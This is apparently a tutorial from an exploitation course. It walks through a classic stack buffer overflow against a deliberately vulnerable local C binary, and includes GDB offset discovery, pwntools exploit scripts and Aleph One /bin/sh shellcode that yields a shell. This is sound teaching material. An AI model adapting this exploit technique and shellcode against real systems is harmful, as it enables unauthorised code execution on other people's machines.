Let us revisit the classical technique of exploiting a stack overflow on a binary with no protections enabled and ASLR turned off. We will do a demonstration on a binary compiled from the following source code:
#include <unistd.h>
#include <stdio.h>
void vuln() {
char buffer[16];
read(0, buffer, 100);
puts(buffer);
}
int main() {
vuln();
}
The binary was compiled with the following flags:
gcc -m32 -fno-stack-protector -zexecstack -o ./build/1_vulnerable ./src/1_vulnerable.c
Before running the binary, disable ASLR with the command:
ubuntu@ubuntu-xenial:/vagrant$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0
Verify that ASLR is indeed turned off.
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ldd ./1_vulnerable
linux-gate.so.1 => (0xf7ffd000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e39000)
/lib/ld-linux.so.2 (0x56555000)
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ldd ./1_vulnerable
linux-gate.so.1 => (0xf7ffd000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e39000)
/lib/ld-linux.so.2 (0x56555000)
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ldd ./1_vulnerable
linux-gate.so.1 => (0xf7ffd000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e39000)
/lib/ld-linux.so.2 (0x56555000)
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$
Also, all protections are off.
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ checksec ./1_vulnerable
[*] '/vagrant/lessons/4_classic_exploitation/build/1_vulnerable'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
The binary is simple. It reads 100 bytes from stdin into a 16 byte character buffer and prints the contents of the buffer to the user. On a benign execution, the behaviour might look like this:
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ./1_vulnerable
Hello
Hello
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$
It is very easy to get the binary to crash.
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ./1_vulnerable
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
��P���
Segmentation fault (core dumped)
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$
Let's delve into GDB to get the offset we need to place our return address at to control EIP.
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ gdb ./1_vulnerable
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./1_vulnerable...(no debugging symbols found)...done.
gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /vagrant/lessons/4_classic_exploitation/build/1_vulnerable
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x65 ('e')
EBX: 0x0
ECX: 0xffffffff
EDX: 0xf7fc8870 --> 0x0
ESI: 0xf7fc7000 --> 0x1b1db0
EDI: 0xf7fc7000 --> 0x1b1db0
EBP: 0x44414128 ('(AAD')
ESP: 0xffffd5f0 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x413b4141 ('AA;A')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x413b4141
[------------------------------------stack-------------------------------------]
0000| 0xffffd5f0 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xffffd5f4 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xffffd5f8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xffffd5fc ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xffffd600 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xffffd604 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xffffd608 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0028| 0xffffd60c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x413b4141 in ?? ()
gdb-peda$ pattern_offset 0x413b4141
1094402369 found at offset: 28
gdb-peda$
We can begin writing a skeleton for our exploit.
#!/usr/bin/python
from pwn import *
def main():
# Start a process
p = process("../build/1_vulnerable")
# Create payload
ret_address = 0x41424344
payload = "A"*28 + p32(ret_address)
payload = payload.ljust(100, "\x00")
# Print the process id
raw_input(str(p.proc.pid))
# Send the payload to the binary
p.send(payload)
# Pass interaction back to the user
p.interactive()
if __name__ == "__main__":
main()
If we run this and attach to the spawned process, we can verify that the program will crash on the address 0x41424344.
gdb-peda$ attach 9639
Attaching to process 9639
Reading symbols from /vagrant/lessons/4_classic_exploitation/build/1_vulnerable...(no debugging symbols found)...done.
Reading symbols from /lib/i386-linux-gnu/libc.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
gdb-peda$ c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x21 ('!')
EBX: 0x0
ECX: 0xffffffff
EDX: 0xf7fc8870 --> 0x0
ESI: 0xf7fc7000 --> 0x1b1db0
EDI: 0xf7fc7000 --> 0x1b1db0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd640 --> 0x0
EIP: 0x41424344 ('DCBA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41424344
[------------------------------------stack-------------------------------------]
0000| 0xffffd640 --> 0x0
0004| 0xffffd644 --> 0x0
0008| 0xffffd648 --> 0x0
0012| 0xffffd64c --> 0x0
0016| 0xffffd650 --> 0x0
0020| 0xffffd654 --> 0x0
0024| 0xffffd658 --> 0x0
0028| 0xffffd65c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41424344 in ?? ()
gdb-peda$
Next, we need to figure out where should we direct execution to. This would
probably be somewhere in the buffer we write to with the read()
call. If we
break on the call to puts()
, we can get a stack address we can use as the
argument.
gdb-peda$ disas vuln
Dump of assembler code for function vuln:
0x0804843b <+0>: push ebp
0x0804843c <+1>: mov ebp,esp
0x0804843e <+3>: sub esp,0x18
0x08048441 <+6>: sub esp,0x4
0x08048444 <+9>: push 0x64
0x08048446 <+11>: lea eax,[ebp-0x18]
0x08048449 <+14>: push eax
0x0804844a <+15>: push 0x0
0x0804844c <+17>: call 0x8048300 <read@plt>
0x08048451 <+22>: add esp,0x10
0x08048454 <+25>: sub esp,0xc
0x08048457 <+28>: lea eax,[ebp-0x18]
0x0804845a <+31>: push eax
0x0804845b <+32>: call 0x8048310 <puts@plt>
0x08048460 <+37>: add esp,0x10
0x08048463 <+40>: nop
0x08048464 <+41>: leave
0x08048465 <+42>: ret
End of assembler dump.
gdb-peda$ del
gdb-peda$ br *0x0804845b
Breakpoint 2 at 0x804845b
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
EBX: 0x0
ECX: 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
EDX: 0x64 ('d')
ESI: 0xf7fc7000 --> 0x1b1db0
EDI: 0xf7fc7000 --> 0x1b1db0
EBP: 0xffffd608 ("AAAADCBA")
ESP: 0xffffd5e0 --> 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
EIP: 0x804845b (<vuln+32>: call 0x8048310 <puts@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048454 <vuln+25>: sub esp,0xc
0x8048457 <vuln+28>: lea eax,[ebp-0x18]
0x804845a <vuln+31>: push eax
=> 0x804845b <vuln+32>: call 0x8048310 <puts@plt>
0x8048460 <vuln+37>: add esp,0x10
0x8048463 <vuln+40>: nop
0x8048464 <vuln+41>: leave
0x8048465 <vuln+42>: ret
Guessed arguments:
arg[0]: 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
[------------------------------------stack-------------------------------------]
0000| 0xffffd5e0 --> 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
0004| 0xffffd5e4 --> 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
0008| 0xffffd5e8 --> 0x64 ('d')
0012| 0xffffd5ec --> 0xf7e2d0ec (test eax,eax)
0016| 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
0020| 0xffffd5f4 ('A' <repeats 24 times>, "DCBA")
0024| 0xffffd5f8 ('A' <repeats 20 times>, "DCBA")
0028| 0xffffd5fc ('A' <repeats 16 times>, "DCBA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Thread 1 "1_vulnerable" hit Breakpoint 2, 0x0804845b in vuln ()
gdb-peda$
0xffffd5f0 is the start of buffer the user input is read into. A good place to jump to would be (0xffffd5f0 + 28 + 4). This lets us put our shellcode right after the return address. To begin with, we can test out strategy by filling that space with 'int 3' instructions (0xcc).
#!/usr/bin/python
from pwn import *
def main():
# Start a process
p = process("../build/1_vulnerable")
# Create payload
ret_address = 0xffffd5f0 + 28 + 4
payload = "A"*28 + p32(ret_address)
payload = payload.ljust(100, "\xcc")
# Print the process id
raw_input(str(p.proc.pid))
# Send the payload to the binary
p.send(payload)
# Pass interaction back to the user
p.interactive()
if __name__ == "__main__":
main()
Now, we can run this, attach our debugger to the process and see if it breaks.
gdb-peda$ attach 9675
Attaching to process 9675
Reading symbols from /vagrant/lessons/4_classic_exploitation/build/1_vulnerable...(no debugging symbols found)...done.
Reading symbols from /lib/i386-linux-gnu/libc.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
gdb-peda$ c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
[----------------------------------registers-----------------------------------]
EAX: 0x65 ('e')
EBX: 0x0
ECX: 0xffffffff
EDX: 0xf7fc8870 --> 0x0
ESI: 0xf7fc7000 --> 0x1b1db0
EDI: 0xf7fc7000 --> 0x1b1db0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd610 --> 0xcccccccc
EIP: 0xffffd611 --> 0xcccccccc
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0xffffd611: int3
0xffffd612: int3
0xffffd613: int3
0xffffd614: int3
[------------------------------------stack-------------------------------------]
0000| 0xffffd610 --> 0xcccccccc
0004| 0xffffd614 --> 0xcccccccc
0008| 0xffffd618 --> 0xcccccccc
0012| 0xffffd61c --> 0xcccccccc
0016| 0xffffd620 --> 0xcccccccc
0020| 0xffffd624 --> 0xcccccccc
0024| 0xffffd628 --> 0xcccccccc
0028| 0xffffd62c --> 0xcccccccc
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGTRAP
0xffffd611 in ?? ()
gdb-peda$
Taking some shellcode from Aleph One's 'Smashing the Stack for Fun and Profit':
shellcode = ("\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" +
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" +
"\x80\xe8\xdc\xff\xff\xff/bin/sh")
Putting it all together:
#!/usr/bin/python
from pwn import *
def main():
# Start a process
p = process("../build/1_vulnerable")
# Create payload
ret_address = 0xffffd620 + 28 + 4
shellcode = ("\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" +
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" +
"\x80\xe8\xdc\xff\xff\xff/bin/sh")
payload = "A"*28 + p32(ret_address)
padding_len = 100 - len(payload) - len(shellcode)
payload += "\x90" * padding_len + shellcode
# Send the payload to the binary
p.send(payload)
# Pass interaction back to the user
p.interactive()
if __name__ == "__main__":
main()
Running the script.
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/scripts$ python 3_final.py
[+] Starting local process '../build/1_vulnerable': Done
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAA@��\xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90��^\x891��F\x07\x89F\x0c\xb0\x0b\x89��\x8dV\x0c̀1ۉ�@̀���\xff\xff/bin/sh
$ ls -la
total 20
drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 11 23:10 .
drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 11 23:00 ..
-rw-rw-r-- 1 ubuntu ubuntu 462 Jan 11 22:00 1_skeleton.py
-rw-rw-r-- 1 ubuntu ubuntu 471 Jan 11 22:40 2_stackjump.py
-rw-rw-r-- 1 ubuntu ubuntu 697 Jan 11 23:10 3_final.py
$
[*] Stopped program '../build/1_vulnerable'
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/scripts$
Note that you might have to adjust the return address as the one on this machine might not match up to the one on your machines.